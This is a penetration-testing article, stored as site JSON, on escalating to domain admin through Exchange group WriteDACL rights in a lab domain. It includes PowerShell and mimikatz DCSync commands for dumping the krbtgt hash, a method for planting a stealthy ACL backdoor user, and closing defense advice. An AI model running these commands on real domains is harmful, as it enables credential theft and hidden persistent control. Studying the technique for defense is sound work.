[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbtlPNm5720yxFT3RImFlu9RlzYD45S-jUT8SzCAdSt8":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},880,"How can an attacker escalate privileges to domain admin by exploiting Exchange Server's ACLs?","By compromising any user in the **Exchange Trusted Subsystem**, **Exchange Windows Permission**, or **Organization Management** groups, an attacker inherits the **WriteDACL** permission on the domain object. This allows modifying the domain's ACL to grant **DCSync** rights, enabling extraction of all user hashes (especially kerbtgt) and ultimately creating a Golden Ticket to control the domain controller. For a deeper understanding of ACLs in Windows, see [Penetration Techniques - Access Control List in Windows](\u002Fnews\u002Fpenetration-techniques-access-control-list-in-windows).","\u003Cp>By compromising any user in the **Exchange Trusted Subsystem**, **Exchange Windows Permission**, or **Organization Management** groups, an attacker inherits the **WriteDACL** permission on the domain object. This allows modifying the domain's ACL to grant **DCSync** rights, enabling extraction of all user hashes (especially kerbtgt) and ultimately creating a Golden Ticket to control the domain controller. For a deeper understanding of ACLs in Windows, see [Penetration Techniques - Access Control List in Windows](\u002Fnews\u002Fpenetration-techniques-access-control-list-in-windows).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fdomain-penetration-using-specific-acls-in-exchange-server-for-domain-privilege-escalation\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-can-an-attacker-escalate-privileges-to-domain-admin-by-exploiting-exchange-s-1777481360929","Exchange Trusted Subsystem, WriteDACL, DCSync, domain privilege escalation, Golden Ticket, Exchange Windows Permission",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},215,"Domain Penetration - Using Specific ACLs in Exchange Server for Domain Privilege Escalation","domain-penetration-using-specific-acls-in-exchange-server-for-domain-privilege-escalation","Learn how Exchange Server ACLs enable domain privilege escalation via DCSync, using PowerView to manipulate permissions and gain full domain control.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A privilege escalation technique recently learned in domain environments. After installing Exchange in a domain environment, an OU named Microsoft Exchange Security Groups is added, which includes two special groups: Exchange Trusted Subsystem and Exchange Windows Permission. If control over any user within these groups is obtained, the WriteDACL permission of the group can be inherited, allowing modification of the domain object's ACL. This ultimately enables the use of DCSync to export all user hashes within the domain. Subsequently, the hash of the domain user krbtgt can be used to create a Golden Ticket, log into the domain controller, and gain control over the entire domain.\u003C\u002Fp>\u003Cp>Learning materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fgdedrouas\u002FExchange-AD-Privesc\u003C\u002Fp>\u003Cp>This article will document the reproduction process, introduce methods for establishing privilege escalation backdoors using this mechanism, detail the use of PowerView for manipulating domain object ACLs, and finally provide detection and defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Reproduction of the privilege escalation method\u003C\u002Fli>\u003Cli>Methods for establishing privilege escalation backdoors\u003C\u002Fli>\u003Cli>Detection and defense recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Reproduction of the Privilege Escalation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test Environment:\u003C\u002Fp>\u003Cul>\u003Cli>Server2012R2 x64\u003C\u002Fli>\u003Cli>Exchange 2013\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>Prerequisites\u003C\u002Fh3>\u003Ch4>1.Common Abbreviations\u003C\u002Fh4>\u003Cul>\u003Cli>DN:Distinguished Name\u003C\u002Fli>\u003Cli>CN:Common Name\u003C\u002Fli>\u003Cli>OU:Organizational Unit\u003C\u002Fli>\u003Cli>DC:Domain Component\u003C\u002Fli>\u003Cli>ACE:Access Control Entries\u003C\u002Fli>\u003Cli>ACL:Access Control List\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The connection string format for connecting to an LDAP server is: ldap:\u002F\u002Fservername\u002FDN\u003C\u002Fp>\u003Cp>The DN has three attributes: CN, OU, and DC\u003C\u002Fp>\u003Ch4>2.After installing Exchange, an OU named Microsoft Exchange Security Groups is automatically added by default\u003C\u002Fh4>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017300808_0_c63e485bf4.jpeg\">\u003C\u002Fp>\u003Cp>This includes two special groups: Exchange Trusted Subsystem and Exchange Windows Permission\u003C\u002Fp>\u003Cp>Exchange Trusted Subsystem is a member of Exchange Windows Permission\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017325526_1_0bd2e964bf.jpeg\">\u003C\u002Fp>\u003Cp>By default, Exchange Windows Permissions has WriteDACL permissions on the domain object where Exchange is installed, so Exchange Trusted Subsystem also inherits this permission\u003C\u002Fp>\u003Ch4>3. If you have WriteDACL permissions on the domain object, you can add an ACE for a specified domain user, granting them the permission to use DCSync to export all user hashes in the domain. Next, you can use the hash of the domain user krbtgt to create a Golden Ticket, log in to the domain controller, and gain control over the entire domain\u003C\u002Fh4>\u003Cp>For detailed exploitation methods, refer to the previous article: 'Domain Penetration - DCSync'\u003C\u002Fp>\u003Ch4>4. PowerView can be used to manipulate the ACL of domain objects\u003C\u002Fh4>\u003Cp>It is worth noting that PowerView has two versions, with some features only supported in the dev version. The addresses of the two versions are:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fdev\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fmaster\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>This detail was introduced in the previous article 'Domain Penetration - AdminSDHolder'\u003C\u002Fp>\u003Ch3>Actual testing\u003C\u002Fh3>\u003Cp>Here, Exchange Trusted Subsystem is used as the test object. The password for the test user testa has been obtained. First, add the test user testa to Exchange Trusted Subsystem\u003C\u002Fp>\u003Cp>The PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module ActiveDirectory\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For Windows systems without the Active Directory module installed, you can import the Active Directory module with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Microsoft.ActiveDirectory.Management.dll is generated after installing the PowerShell Active Directory module. I have extracted it and uploaded it to GitHub:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>After successful addition, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017373722_2_aae898261a.jpeg\">\u003C\u002Fp>\u003Cp>Next, complete all privilege escalation operations on another host within the domain\u003C\u002Fp>\u003Ch4>1. Log in as user testa\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testa cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If during testing, the test user testa is added to the Exchange Trusted Subsystem for the first time, then user testa needs to log out and log back in to inherit the WriteDACL permission\u003C\u002Fp>\u003Cp>Check which groups user testa belongs to:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>whoami \u002Fgroups\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Found that user testa successfully joined the Exchange Trusted Subsystem group, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017393857_3_9e69fcb20c.jpeg\">\u003C\u002Fp>\u003Ch4>2. Use mimikatz's DCSync function to export the hash of user krbtgt\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"lsadump::dcsync \u002Fdomain:test.com \u002Fuser:krbtgt \u002Fcsv\" exit\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Successfully exported the hash of user krbtgt, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017430913_4_7bf5928a01.jpeg\">\u003C\u002Fp>\u003Cp>Next, use the hash of the domain user krbtgt to create a Golden Ticket, log into the domain controller, and gain control over the entire domain\u003C\u002Fp>\u003Cp>Privilege escalation successful\u003C\u002Fp>\u003Cp>After multiple tests, the following conclusion was reached:\u003C\u002Fp>\u003Cp>If you obtain the permissions of any user within the following three groups, you can use DCSync to export the hashes of all users in the domain\u003C\u002Fp>\u003Cp>Group names are as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Exchange Trusted Subsystem\u003C\u002Fli>\u003Cli>Exchange Windows Permission\u003C\u002Fli>\u003Cli>Organization Management\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x03 Methods for Establishing Privilege Escalation Backdoors\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>If control over the entire domain is obtained, ACLs in Exchange can be exploited as backdoors for domain privilege escalation\u003C\u002Fp>\u003Ch3>Method 1: Directly add backdoor users to the three Exchange groups\u003C\u002Fh3>\u003Cp>Taking Exchange Trusted Subsystem as an example\u003C\u002Fp>\u003Cp>PowerShell commands are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module ActiveDirectory\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>However, this is not very stealthy and the added user can be easily detected\u003C\u002Fp>\u003Cp>The command to check is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Exchange Trusted Subsystem\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Method 2: Only grant specific users control permissions over the ACLs of the three Exchange groups\u003C\u002Fh3>\u003Cp>Taking Exchange Trusted Subsystem as an example\u003C\u002Fp>\u003Ch4>1. First, find the DN (Distinguished Name) of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>Use the dev version of Powerview, available at:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fdev\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>The PowerShell command to view all DNs is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module .\\PowerView.ps1\u003Cbr>Get-DomainObject -Properties distinguishedname |fl\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The DN for Exchange Trusted Subsystem is: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\u003C\u002Fp>\u003Ch4>2. View the ACL of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>PowerShell command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainObjectAcl -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Obtain raw data of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>4. Add full access permissions for backdoor user testb to Exchange Trusted Subsystem\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003Cbr>$TargetObject = $RawObject.GetDirectoryEntry()\u003Cbr>$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty\u003Cbr>$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)\u003Cbr>$TargetObject.PsBase.CommitChanges()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Remove the backdoor user testb's full access permissions to Exchange Trusted Subsystem:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003Cbr>$TargetObject = $RawObject.GetDirectoryEntry()\u003Cbr>$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty\u003Cbr>$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)\u003Cbr>$TargetObject.PsBase.CommitChanges()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. View the SID of user testb\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainUser testb\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017465111_5_5e60e02591.jpeg\">\u003C\u002Fp>\u003Cp>The objectsid of user testb is S-1-5-21-1672228480-1396590849-334771951-2105\u003C\u002Fp>\u003Ch4>6. View the ACE belonging to the newly added user testb\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainObjectAcl -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" | Where-Object {$_.SecurityIdentifier -eq \"S-1-5-21-1672228480-1396590849-334771951-2105\"}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017480097_6_5cdda61a86.jpeg\">\u003C\u002Fp>\u003Cp>At this point, the backdoor installation is successful\u003C\u002Fp>\u003Cp>Now check the users in the Exchange Trusted Subsystem group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Exchange Trusted Subsystem\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The backdoor user testb cannot be found\u003C\u002Fp>\u003Ch3>Backdoor activation method\u003C\u002Fh3>\u003Ch4>1. Log in as user testb on another host within the domain\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testb cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Add user testb to Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>Since user testb has full access permissions to Exchange Trusted Subsystem, it can add itself to the Exchange Trusted Subsystem group\u003C\u002Fp>\u003Cp>The PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testb\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Log in again as user testb\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testb cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>4. Use mimikatz's DCSync function to export the hash of user krbtgt\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"lsadump::dcsync \u002Fdomain:test.com \u002Fuser:krbtgt \u002Fcsv\" exit\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Remove user testb from the Exchange Trusted Subsystem group\u003C\u002Fh4>\u003Cp>PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Remove-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testb -confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Since user testb has full access to Exchange Trusted Subsystem, they can repeatedly add or remove themselves from Exchange Trusted Subsystem\u003C\u002Fp>\u003Ch2>0x04 Detection and Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Fix from the root: Remove WriteDACL permission from Exchange Windows Permissions\u003C\u002Fp>\u003Cp>Reference script:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fgdedrouas\u002FExchange-AD-Privesc\u002Fblob\u002Fmaster\u002FDomainObject\u002FFix-DomainObjectDACL.ps1\u003C\u002Fp>\u003Cp>Log detection:\u003C\u002Fp>\u003Cp>Enable Advanced Security Audit Policy in Active Directory; when the ACL of a domain object is modified, log ID 5136 will be generated\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblogs.technet.microsoft.com\u002Fcanitpro\u002F2017\u002F03\u002F29\u002Fstep-by-step-enabling-advanced-security-audit-policy-via-ds-access\u002F\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article documents the process of privilege escalation using specific ACLs in Exchange, analyzes the exploitation conditions, introduces a method for leveraging a privilege escalation backdoor in conjunction with this mechanism, and finally provides detection and defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A privilege escalation technique recently learned in domain environments. After installing Exchange in a domain environment, an OU named Microsoft Exchange Security Groups is added, which includes two special groups: Exchange Trusted Subsystem and Exchange Windows Permission. If control over any user within these groups is obtained, the WriteDACL permission of the group can be inherited, allowing modification of the domain object's ACL. This ultimately enables the use of DCSync to export all user hashes within the domain. Subsequently, the hash of the domain user krbtgt can be used to create a Golden Ticket, log into the domain controller, and gain control over the entire domain.\u003C\u002Fp>\u003Cp>Learning materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fgdedrouas\u002FExchange-AD-Privesc\u003C\u002Fp>\u003Cp>This article will document the reproduction process, introduce methods for establishing privilege escalation backdoors using this mechanism, detail the use of PowerView for manipulating domain object ACLs, and finally provide detection and defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Reproduction of the privilege escalation method\u003C\u002Fli>\u003Cli>Methods for establishing privilege escalation backdoors\u003C\u002Fli>\u003Cli>Detection and defense recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Reproduction of the Privilege Escalation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test Environment:\u003C\u002Fp>\u003Cul>\u003Cli>Server2012R2 x64\u003C\u002Fli>\u003Cli>Exchange 2013\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>Prerequisites\u003C\u002Fh3>\u003Ch4>1.Common Abbreviations\u003C\u002Fh4>\u003Cul>\u003Cli>DN:Distinguished Name\u003C\u002Fli>\u003Cli>CN:Common Name\u003C\u002Fli>\u003Cli>OU:Organizational Unit\u003C\u002Fli>\u003Cli>DC:Domain Component\u003C\u002Fli>\u003Cli>ACE:Access Control Entries\u003C\u002Fli>\u003Cli>ACL:Access Control List\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The connection string format for connecting to an LDAP server is: ldap:\u002F\u002Fservername\u002FDN\u003C\u002Fp>\u003Cp>The DN has three attributes: CN, OU, and DC\u003C\u002Fp>\u003Ch4>2.After installing Exchange, an OU named Microsoft Exchange Security Groups is automatically added by default\u003C\u002Fh4>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017300808_0_c63e485bf4-1.jpeg\">\u003C\u002Fp>\u003Cp>This includes two special groups: Exchange Trusted Subsystem and Exchange Windows Permission\u003C\u002Fp>\u003Cp>Exchange Trusted Subsystem is a member of Exchange Windows Permission\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017325526_1_0bd2e964bf-1.jpeg\">\u003C\u002Fp>\u003Cp>By default, Exchange Windows Permissions has WriteDACL permissions on the domain object where Exchange is installed, so Exchange Trusted Subsystem also inherits this permission\u003C\u002Fp>\u003Ch4>3. If you have WriteDACL permissions on the domain object, you can add an ACE for a specified domain user, granting them the permission to use DCSync to export all user hashes in the domain. Next, you can use the hash of the domain user krbtgt to create a Golden Ticket, log in to the domain controller, and gain control over the entire domain\u003C\u002Fh4>\u003Cp>For detailed exploitation methods, refer to the previous article: 'Domain Penetration - DCSync'\u003C\u002Fp>\u003Ch4>4. PowerView can be used to manipulate the ACL of domain objects\u003C\u002Fh4>\u003Cp>It is worth noting that PowerView has two versions, with some features only supported in the dev version. The addresses of the two versions are:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fdev\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fmaster\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>This detail was introduced in the previous article 'Domain Penetration - AdminSDHolder'\u003C\u002Fp>\u003Ch3>Actual testing\u003C\u002Fh3>\u003Cp>Here, Exchange Trusted Subsystem is used as the test object. The password for the test user testa has been obtained. First, add the test user testa to Exchange Trusted Subsystem\u003C\u002Fp>\u003Cp>The PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module ActiveDirectory\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For Windows systems without the Active Directory module installed, you can import the Active Directory module with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Microsoft.ActiveDirectory.Management.dll is generated after installing the PowerShell Active Directory module. I have extracted it and uploaded it to GitHub:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>After successful addition, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017373722_2_aae898261a-1.jpeg\">\u003C\u002Fp>\u003Cp>Next, complete all privilege escalation operations on another host within the domain\u003C\u002Fp>\u003Ch4>1. Log in as user testa\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testa cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If during testing, the test user testa is added to the Exchange Trusted Subsystem for the first time, then user testa needs to log out and log back in to inherit the WriteDACL permission\u003C\u002Fp>\u003Cp>Check which groups user testa belongs to:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>whoami \u002Fgroups\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Found that user testa successfully joined the Exchange Trusted Subsystem group, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017393857_3_9e69fcb20c-1.jpeg\">\u003C\u002Fp>\u003Ch4>2. Use mimikatz's DCSync function to export the hash of user krbtgt\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"lsadump::dcsync \u002Fdomain:test.com \u002Fuser:krbtgt \u002Fcsv\" exit\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Successfully exported the hash of user krbtgt, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017430913_4_7bf5928a01-1.jpeg\">\u003C\u002Fp>\u003Cp>Next, use the hash of the domain user krbtgt to create a Golden Ticket, log into the domain controller, and gain control over the entire domain\u003C\u002Fp>\u003Cp>Privilege escalation successful\u003C\u002Fp>\u003Cp>After multiple tests, the following conclusion was reached:\u003C\u002Fp>\u003Cp>If you obtain the permissions of any user within the following three groups, you can use DCSync to export the hashes of all users in the domain\u003C\u002Fp>\u003Cp>Group names are as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Exchange Trusted Subsystem\u003C\u002Fli>\u003Cli>Exchange Windows Permission\u003C\u002Fli>\u003Cli>Organization Management\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x03 Methods for Establishing Privilege Escalation Backdoors\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>If control over the entire domain is obtained, ACLs in Exchange can be exploited as backdoors for domain privilege escalation\u003C\u002Fp>\u003Ch3>Method 